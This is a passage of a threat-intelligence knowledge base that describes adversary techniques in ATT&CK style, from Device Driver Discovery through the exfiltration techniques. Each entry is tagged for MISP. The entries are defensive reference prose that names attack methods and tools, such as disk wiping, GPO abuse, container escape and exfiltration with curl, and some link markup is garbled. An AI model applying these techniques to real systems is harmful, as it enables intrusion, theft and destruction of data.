Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.^{[[Microsoft Driverquery](https://app.tidalcyber.com/references/7302dc00-a75a-5787-a04c-88ef4922ac09)]}^{[[Microsoft EnumDeviceDrivers](https://app.tidalcyber.com/references/647ffc70-8eab-5f2f-abf4-9bbf42554043)]} Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://app.tidalcyber.com/technique/e0a347e2-2ac5-458b-ab0f-18d81b6d6055)) may also be available in the Registry.^{[[Microsoft Registry Drivers](https://app.tidalcyber.com/references/4bde767e-d4a7-56c5-9aa3-b3f3cc2e3e70)]}

On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.^{[[Linux Kernel Programming](https://app.tidalcyber.com/references/70f31f19-e0b3-40b1-b8dd-6667557bb334)]}^{[[lsmod man](https://app.tidalcyber.com/references/c2f88274-9da4-5d24-b68d-302ee5990dd5)]}^{[[modinfo man](https://app.tidalcyber.com/references/d4f2db5c-ef6d-556d-a5e2-f6738277fecd)]}

The tag is: *misp-galaxy:technique="Device Driver Discovery"*

Direct Volume Access

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. ^{[[Hakobyan 2009](https://app.tidalcyber.com/references/d92f6dc0-e902-4a4a-9083-8d1667a7003e)]}

Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.^{[[Github PowerSploit Ninjacopy](https://app.tidalcyber.com/references/e92aed6b-348b-4dab-8292-fee0698e4a85)]} Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://app.tidalcyber.com/software/a7589733-6b04-4215-a4e7-4b62cd4610fa)) to create shadow copies or backups of data from system volumes.^{[[LOLBAS Esentutl](https://app.tidalcyber.com/references/691b4907-3544-4ad0-989c-b5c845e0330f)]}

The tag is: *misp-galaxy:technique="Direct Volume Access"*

Disk Wipe

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406), [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), and [SMB/Windows Admin Shares]([Novetta Blockbuster Destructive Malware (https://app.tidalcyber.com/references/de278b77-52cb-4126-9341-5b32843ae9f1)]</sup>

On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `erase`.^{[[erase_cmd_cisco](https://app.tidalcyber.com/references/4c90eba9-118e-5d50-ad58-27bcb0e1e228)]}

The tag is: *misp-galaxy:technique="Disk Wipe"*

Domain or Tenant Policy Modification

Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.

Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.

With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:

- modifying GPOs to push a malicious [Scheduled Task](https://app.tidalcyber.com/technique/723c6d51-91db-4658-9ee0-eafb953c2d82) to computers throughout the domain environment^{[[ADSecurity GPO Persistence 2016](https://app.tidalcyber.com/references/e304715f-7da1-4342-ba5b-d0387d93aeb2)]}^{[[Wald0 Guide to GPOs](https://app.tidalcyber.com/references/48bb84ac-56c8-4840-9a11-2cc76213e24e)]}^{[[Harmj0y Abusing GPO Permissions](https://app.tidalcyber.com/references/18cc9426-9b51-46fa-9106-99688385ebe4)]}
- modifying domain trusts to include an adversary-controlled domain, allowing adversaries to

forge access tokens that will subsequently be accepted by victim domain resources^{[[Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks](https://app.tidalcyber.com/references/47031992-841f-4ef4-87c6-bb4c077fb8dc)]}

- changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://app.tidalcyber.com/technique/c5eb5b88-6c62-4900-9b14-c4d67d420002).
- adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant ^{[[Okta Cross-Tenant Impersonation 2023](https://app.tidalcyber.com/references/d54188b5-86eb-52a0-8384-823c45431762)]}

Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

The tag is: *misp-galaxy:technique="Domain or Tenant Policy Modification"*

Domain Trust Discovery

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.^{[[Microsoft Trusts](https://app.tidalcyber.com/references/e6bfc6a8-9eea-4c65-9c2b-04749da72a92)]} Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://app.tidalcyber.com/technique/dcb323f0-0fe6-4e26-9039-4f26f10cd3a5), [Pass the Ticket](https://app.tidalcyber.com/technique/5e771f38-6286-4330-b7b4-38071ad6b68a), and [Kerberoasting]([AdSecurity Forging Trust Tickets (https://app.tidalcyber.com/references/09d3ccc1-cd8a-4675-88c0-84110f5b8e8b)]</sup>^{[[Harmj0y Domain Trusts](https://app.tidalcyber.com/references/23a9ef6c-9f71-47bb-929f-9a92f24553eb)]} Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.^{[[Harmj0y Domain Trusts](https://app.tidalcyber.com/references/23a9ef6c-9f71-47bb-929f-9a92f24553eb)]} The Windows utility [Nltest](https://app.tidalcyber.com/software/fbb1546a-f288-4e43-9e5c-14c94423c4f6) is known to be used by adversaries to enumerate domain trusts.^{[[Microsoft Operation Wilysupply](https://app.tidalcyber.com/references/567ce633-a061-460b-84af-01dfe3d818c7)]}

The tag is: *misp-galaxy:technique="Domain Trust Discovery"*

Drive-by Compromise

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://app.tidalcyber.com/technique/f2661f07-9027-4d19-9028-d07b7511f3d5)), including:

- A legitimate website is compromised, allowing adversaries to inject malicious code
- Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary

- Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://app.tidalcyber.com/technique/60ac24aa-ce63-5c1d-8126-db20a27d85be))
- Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)

Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). By clicking "allow" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.^{[[Push notifications - viruspositive](https://app.tidalcyber.com/references/55522504-0d48-5854-933e-e9654d081cbb)]}^{[[push notification -mcafee](https://app.tidalcyber.com/references/3432e39c-343d-5a87-9260-00560ed27e86)]}^{[[push notifications - malwarebytes](https://app.tidalcyber.com/references/3863f365-810b-5f60-aed0-36646d855ac7)]}

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.^{[[Shadowserver Strategic Web Compromise](https://app.tidalcyber.com/references/cf531866-ac3c-4078-b847-5b4af7eb161f)]}

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://app.tidalcyber.com/technique/4695fd01-43a5-4aa9-ab1a-501fc0dfbd6a), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

The tag is: *misp-galaxy:technique="Drive-by Compromise"*

Dynamic Resolution

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://app.tidalcyber.com/technique/be8786b3-cd3d-47ef-a9e7-cd3ab3c901a1). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.^{[[Talos CCleanup 2017](https://app.tidalcyber.com/references/f2522cf4-dc65-4dc5-87e3-9e88212fcfe9)]}^{[[FireEye POSHSPY April 2017](https://app.tidalcyber.com/references/b1271e05-80d7-4761-a13f-b6f0db7d7e5a)]}^{[[ESET Sednit 2017 Activity](https://app.tidalcyber.com/references/406e434e-0602-4a08-bbf6-6d72311a720e)]}

The tag is: *misp-galaxy:technique="Dynamic Resolution"*

Email Bombing

Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.^{[[sophos-bombing](https://app.tidalcyber.com/references/5c4a933d-1e68-562e-a826-4df500732573)]}^{[[krebs-email-bombing](https://app.tidalcyber.com/references/246257d1-b277-5609-a1b2-9494e68d4f9c)]}

An adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim's inbox.^{[[krebs-email-bombing](https://app.tidalcyber.com/references/246257d1-b277-5609-a1b2-9494e68d4f9c)]}^{[[hhs-email-bombing](https://app.tidalcyber.com/references/30f58736-50eb-5a94-ae8b-0cc9f39db31b)]}

By sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams.^{[[hhs-email-bombing](https://app.tidalcyber.com/references/30f58736-50eb-5a94-ae8b-0cc9f39db31b)]} This behavior can also be used as a tool of harassment.^{[[krebs-email-bombing](https://app.tidalcyber.com/references/246257d1-b277-5609-a1b2-9494e68d4f9c)]}

This behavior may be a precursor for [Spearphishing Voice](https://app.tidalcyber.com/technique/350c12a3-33f6-5942-8892-4d6e70abbfc1). For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of [Remote Access Software](https://app.tidalcyber.com/technique/) to steal credentials, deploy ransomware, conduct [Financial Theft]([sophos-bombing(https://app.tidalcyber.com/references/5c4a933d-1e68-562e-a826-4df500732573)]</sup>, or engage in other malicious activity.^{[[rapid7-email-bombing](https://app.tidalcyber.com/references/b57af46b-a26b-5fca-8509-406889261d41)]}

The tag is: *misp-galaxy:technique="Email Bombing"*

Email Collection

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries.

Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.^{[[TrustedSec OOB Communications](https://app.tidalcyber.com/references/65b7db0a-1aeb-545b-af65-b40d043f3502)]}^{[[CISA AA20-352A 2021](https://app.tidalcyber.com/references/1e68b9ef-0aee-5d69-be72-3bc4d5cfa6b9)]} Adversaries can collect or forward email from mail servers or clients.

The tag is: *misp-galaxy:technique="Email Collection"*

Email Spoofing

Adversaries may fake, or spoof, a sender's identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.^{[[Proofpoint TA427 April 2024](https://app.tidalcyber.com/references/620f5ff7-26c0-55c4-9b1b-c56ad2e1316b)]} In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.

This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).^{[[Cloudflare DMARC, DKIM, and SPF](https://app.tidalcyber.com/references/839911f1-5f08-5004-aa79-0bd7e08f3b82)]}^{[[DMARC-overview](https://app.tidalcyber.com/references/330fd090-565f-50c1-9c1e-522f336abca7)]}^{[[Proofpoint-DMARC](https://app.tidalcyber.com/references/5b9588a1-7baf-5a10-8663-10cfed41c472)]} Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.^{[[Proofpoint TA427 April 2024](https://app.tidalcyber.com/references/620f5ff7-26c0-55c4-9b1b-c56ad2e1316b)]}^{[[ic3-dprk](https://app.tidalcyber.com/references/76adbd81-2df0-5167-a0ef-a37a582e7739)]}

Adversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts^{[[ic3-dprk](https://app.tidalcyber.com/references/76adbd81-2df0-5167-a0ef-a37a582e7739)]} such as [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533). They may also leverage email spoofing for [Impersonation](https://app.tidalcyber.com/technique/20417e43-6ffa-5d36-a2ef-e27cd5a4b8f1) of legitimate external individuals and organizations, such as journalists and academics.^{[[ic3-dprk](https://app.tidalcyber.com/references/76adbd81-2df0-5167-a0ef-a37a582e7739)]}

The tag is: *misp-galaxy:technique="Email Spoofing"*

Encrypted Channel

Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of

a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:technique="Encrypted Channel"*

Endpoint Denial of Service

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes^{[[FireEye OpPoisonedHandover February 2016](https://app.tidalcyber.com/references/1d57b1c8-930b-4bcb-a51e-39020327cc5d)]} and to support other malicious activities, including distraction^{[[FSISAC FraudNetDoS September 2012](https://app.tidalcyber.com/references/9c8772eb-6d1d-4742-a2db-a5e1006effaa)]}, hacktivism, and extortion.^{[[Symantec DDoS October 2014](https://app.tidalcyber.com/references/878e0382-4191-4bca-8adc-c379b0d57ba8)]}

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.^{[[USNYAG IranianBotnet March 2016](https://app.tidalcyber.com/references/69ee73c1-359f-4584-a6e7-75119d24bbf5)]}

In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code

that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.^{[[ArsTechnica Great Firewall of China](https://app.tidalcyber.com/references/1a08d58f-bf91-4345-aa4e-2906d3ef365a)]}

For attacks attempting to saturate the providing network, see [Network Denial of Service](https://app.tidalcyber.com/technique/e6c14a7b-1fb8-4557-83e7-7f5b89717311).

The tag is: *misp-galaxy:technique="Endpoint Denial of Service"*

Escape to Host

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.^{[[Docker Overview](https://app.tidalcyber.com/references/52954bb1-16b0-4717-a72c-8a6dec97610b)]}

There are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host's filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.^{[[Docker Bind Mounts](https://app.tidalcyber.com/references/b298b3d1-30c1-4894-b1de-be11812cde6b)]}^{[[Trend Micro Privileged Container](https://app.tidalcyber.com/references/92ac290c-4863-4774-b334-848ed72e3627)]}^{[[Intezer Doki July 20](https://app.tidalcyber.com/references/688b2582-6602-44e1-aaac-3a4b8e168b04)]}^{[[Container Escape](https://app.tidalcyber.com/references/8248917a-9afd-4ec6-a086-1a97a68deff1)]}^{[[Crowdstrike Kubernetes Container Escape](https://app.tidalcyber.com/references/84d5f015-9014-417c-b2a9-f650fe19d448)]}^{[[Keyctl-unmask](https://app.tidalcyber.com/references/75db8c88-e547-4d1b-8f22-6ace2b3d7ad4)]}

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command]([Container Escape(https://app.tidalcyber.com/references/8248917a-9afd-4ec6-a086-1a97a68deff1)]</sup> Adversaries may also escape via [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.^{[[Windows Server Containers Are Open](https://app.tidalcyber.com/references/9a801256-5852-433e-95bd-768f9b70b9fe)]}

In ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.^{[[Broadcom VMSA-2025-004](https://app.tidalcyber.com/references/6f88aad2-2180-56ac-ae5f-d69f23c407cb)]}

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on

objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.

The tag is: *misp-galaxy:technique="Escape to Host"*

Establish Accounts

Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.^{[[NEWSCASTER2014](https://app.tidalcyber.com/references/9abb4bbb-bad3-4d22-b235-c8a35465f2ce)]}^{[[BlackHatRobinSage](https://app.tidalcyber.com/references/82068e93-a3f8-4d05-9358-6fe76a0055bb)]}

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.^{[[NEWSCASTER2014](https://app.tidalcyber.com/references/9abb4bbb-bad3-4d22-b235-c8a35465f2ce)]}^{[[BlackHatRobinSage](https://app.tidalcyber.com/references/82068e93-a3f8-4d05-9358-6fe76a0055bb)]}

Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Phishing]([Mandiant APT1(https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]</sup> In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) for malicious purposes.^{[[Free Trial PurpleUrchin](https://app.tidalcyber.com/references/841f397d-d103-56d7-9854-7ce43c684879)]}

The tag is: *misp-galaxy:technique="Establish Accounts"*

ESXi Administration Command

Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.^{[[Broadcom VMware Tools Services](https://app.tidalcyber.com/references/b9f12d45-1fe3-5358-9ce1-acd0607bc8c3)]}

Adversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for

example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`, `ListFileInGuest`, and `InitiateFileTransferFromGuest`.^{[[Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023](https://app.tidalcyber.com/references/204d9587-957b-5398-a7c9-969500315ab3)]}^{[[Broadcom Running Guest OS Operations](https://app.tidalcyber.com/references/facf15d7-bdc8-5e08-907d-cc80659e6961)]} This may enable follow-on behaviors on the guest VMs, such as [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8), [Data from Local System](https://app.tidalcyber.com/technique/c0e4f97b-f651-493f-9636-6ac2f6fb46fb), or [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d).

The tag is: *misp-galaxy:technique="ESXi Administration Command"*

Event Triggered Execution

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.^{[[Backdooring an AWS account](https://app.tidalcyber.com/references/2c867527-1584-44f7-b5e5-8ca54ea79619)]}^{[[Varonis Power Automate Data Exfiltration](https://app.tidalcyber.com/references/16436468-1daf-433d-bb3b-f842119594b4)]}^{[[Microsoft DART Case Report 001](https://app.tidalcyber.com/references/bd8c6a86-1a63-49cd-a97f-3d119e4223d4)]}

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.^{[[FireEye WMI 2015](https://app.tidalcyber.com/references/135ccd72-2714-4453-9c8f-f5fde31905ee)]}^{[[Malware Persistence on OS X](https://app.tidalcyber.com/references/d4e3b066-c439-4284-ba28-3b8bd8ec270e)]}^{[[amnesia malware](https://app.tidalcyber.com/references/489a6c57-f64c-423b-a7bd-169fa36c4cdf)]}

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

The tag is: *misp-galaxy:technique="Event Triggered Execution"*

Exclusive Control

Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system.

For example, adversaries may patch a vulnerable, compromised system^{[[Mandiant-iab-control](https://app.tidalcyber.com/references/e7743974-f2b8-56e9-9812-dba6c38b6928)]}<sup>[[CERT AT Fortinent Ransomware 2025](https://app.tidalcyber.com/

references/334bff44-68e9-5042-aad7-9bb812e2e7bd)]</sup> to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services^{[[sophos-multiple-attackers](https://app.tidalcyber.com/references/6155ef43-4e3f-5bbb-bc4f-982447aca9c9)]}, stripping privileges from accounts^{[[aquasec-postgres-processes](https://app.tidalcyber.com/references/7f885065-109b-5dcb-b821-497d4a12c49e)]}, or removing other malware already on the compromised device.^{[[fsecure-netsky](https://app.tidalcyber.com/references/b34cf57c-f8ce-53c6-b837-68f4f15bf4d4)]}

Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of [Resource Hijacking](https://app.tidalcyber.com/technique/d10c4a15-aeaa-4630-a7a3-3373c89a584f), leveraging a compromised device’s full power allows the threat actor to maximize profit.^{[[sophos-multiple-attackers](https://app.tidalcyber.com/references/6155ef43-4e3f-5bbb-bc4f-982447aca9c9)]}

The tag is: *misp-galaxy:technique="Exclusive Control"*

Execution Guardrails

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.^{[[FireEye Kevin Mandia Guardrails](https://app.tidalcyber.com/references/0c518eec-a94e-42a7-8eb7-527ae3e279b6)]} Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.^{[[FireEye Outlook Dec 2019](https://app.tidalcyber.com/references/f23a773f-9c50-4193-877d-97f7c13f48f1)]}

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8). While use of [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user’s software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.^{[[Trellix-Qakbot](https://app.tidalcyber.com/references/0ffc4317-c88a-5c9b-9c13-cb8b2a8b65e6)]}

The tag is: *misp-galaxy:technique="Execution Guardrails"*

Exfiltration Over Alternative Protocol

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](https://app.tidalcyber.com/technique/192d25ea-bae1-48e4-88de-e0acd481ab88) can be done using various common operating system utilities such as [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc)/SMB or FTP.^{[[Palo Alto OilRig Oct 2016](https://app.tidalcyber.com/references/14bbb07b-caeb-4d17-8e54-047322a5930c)]} On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.^{[[20 macOS Common Tools and Techniques](https://app.tidalcyber.com/references/3ee99ff4-daf4-4776-9d94-f7cf193c2b0c)]}

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://app.tidalcyber.com/technique/af798e80-2cc5-5452-83e4-9560f08bf2d5).

The tag is: *misp-galaxy:technique="Exfiltration Over Alternative Protocol"*

Exfiltration Over C2 Channel

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: *misp-galaxy:technique="Exfiltration Over C2 Channel"*

Exfiltration Over Other Network Medium

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:technique="Exfiltration Over Other Network Medium"*

Exfiltration Over Physical Medium

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:technique="Exfiltration Over Physical Medium"*

Exfiltration Over Web Service

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:technique="Exfiltration Over Web Service"*

Exploitation for Client Execution

